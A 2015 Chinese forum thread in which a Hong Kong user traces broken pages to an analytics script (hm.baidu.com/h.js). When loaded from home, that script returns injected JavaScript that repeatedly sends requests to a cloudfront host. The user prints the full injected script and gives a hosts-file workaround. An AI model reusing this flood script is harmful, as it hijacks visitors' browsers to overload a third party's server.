极客工坊

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 13552|回复: 5

用 chrome 打开 geek-workshop 的奇怪问题

[复制链接]
发表于 2015-3-16 00:46:56 | 显示全部楼层 |阅读模式
不知什麽原因, 刚才想发帖求助, 一直无法加上图片.
之後发觉一切 javascript 都不能执行.
再用 chrome debugger 打开, 发觉只要打开 geek-workshop 的网页, 背後就会不断向 http://d3rkfw22xppori.cloudfront.net 发出请求, 结果都是 No 'Access-Control-Allow-Origin'.

初时以为自己的电脑中了毒, 但发觉到其他网站都没有问题.
再用另一台电脑经打开 geek-workshop, 结果都是一样.  
可能由於背後一直有 request error, 导致 javascript 不能执行.
现在只可以发出文字的帖.

但看到其他人发帖好像没问题, 有点奇怪.

我用 IE 来到 geek-workshop, 好像没有类似的请求, 但亦只能用纯文字出帖, 上面的工具列只闪了一下就消失了.

请问 geek-workshop 背後是否有什麽地方会向 http://d3rkfw22xppori.cloudfront.net 发出请求?
大家是用什麽 browser 的, 不知会否只是 chrome 的问题.
回复

使用道具 举报

 楼主| 发表于 2015-3-16 00:57:45 | 显示全部楼层
找到了, forum 的 php 文件中 
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F5f8d64f479335f9059cacd72ba1019c5' type='text/javascript'%3E%3C/script%3E"));

而 http://hm.baidu.com/h.js 中, 有 ajax call

url: "http://d3rkfw22xppori.cloudfront.net/_close?t="+unixtime(),

不知是否因为我是香港来的, 到访这个网页出问题.
請問有沒有方法解決, 之前一直都沒有問題的, 是最近改了的嗎?
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-3-16 09:46:24 | 显示全部楼层
奇怪, 用公司的电脑开启时, 没有问题.
尝试看看 http://hm.baidu.com/h.js  的内容, 变成了空白, 没有向 http://d3rkfw22xppori.cloudfront.net 发出的 ajax call.

今晚回家再看看, 难道因为公司有 firewall, 把 http://hm.baidu.com/h.js 的内容给过滤了?
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-3-16 21:06:17 | 显示全部楼层
回到家中, 依然看到論壇到訪  http://hm.baidu.com/h.js 的資料, 之後就會不斷向  http://d3rkfw22xppori.cloudfront.net 發出請求.

解決方法, 在 windows 的 hosts table 上加入以下句子,

127.0.0.1 hm.baidu.com

把 hm.baiud.com 指向 local, 而不能下載 h.js, 就不會不停發向  http://d3rkfw22xppori.cloudfront.net 發出請求了, 一切正常.

國內的朋友, 可否嘗試開啟  http://hm.baidu.com/h.js , 看看是空白的, 還是會得到以下的 script (之後就會不斷向 http://d3rkfw22xppori.cloudfront.net 以 ajax 形式發出請求.)

[pre lang="javascript" line="1"]document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>");
startime=new Date().getTime();
var count = 0;

function unixtime()
{
        var dt = new Date();
        var ux = Date.UTC(dt.getFullYear(),dt.getMonth(),dt.getDay(),dt.getHours(),dt.getMinutes(),dt.getSeconds())/1000;
        return ux;
}

function get()
{
        var ping;
        $.ajax({
                        url: "http://d3rkfw22xppori.cloudfront.net/_close?t="+unixtime(),
                        dataType: "text",
                        timeout: 10000,
                        cache:true,
                        beforeSend : function()
                        {
                                requestTime = new Date().getTime();
                        },
                        complete : function()
                        {
                                responseTime = new Date().getTime();
                                ping = Math.floor(responseTime-requestTime);                               
                                if(responseTime-startime<300000)
                                {
                                        r_send(ping);
                                        count = count + 1;
                                }
                        }
                });

}

function r_send(ping)
{
        setTimeout("get()", ping);
}
setTimeout("get()", 2000);[/code]
回复 支持 反对

使用道具 举报

发表于 2015-3-17 18:19:33 | 显示全部楼层
国内测试打开http://hm.baidu.com/h.js 是空白的
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-3-17 20:43:19 | 显示全部楼层
swim 发表于 2015-3-17 18:19
国内测试打开http://hm.baidu.com/h.js 是空白的

謝謝, 那就奇怪了, 難道是針對香港來的??
只有這裡的管理員, 才會知道為什麼要加上這個 JS, 難道要趕走國外的人?

這個連結真奇怪, 在公司我連上去, 也是空白的.  但在家裡連上, 就會出現上面的一段 code, 之後就出現問題了.
如果是空白才可以, 那是為了趕走什麼人呢?  看來只好問問管理員了.
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|联系我们|极客工坊

GMT+8, 2026-6-8 07:36 , Processed in 0.098885 second(s), 18 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表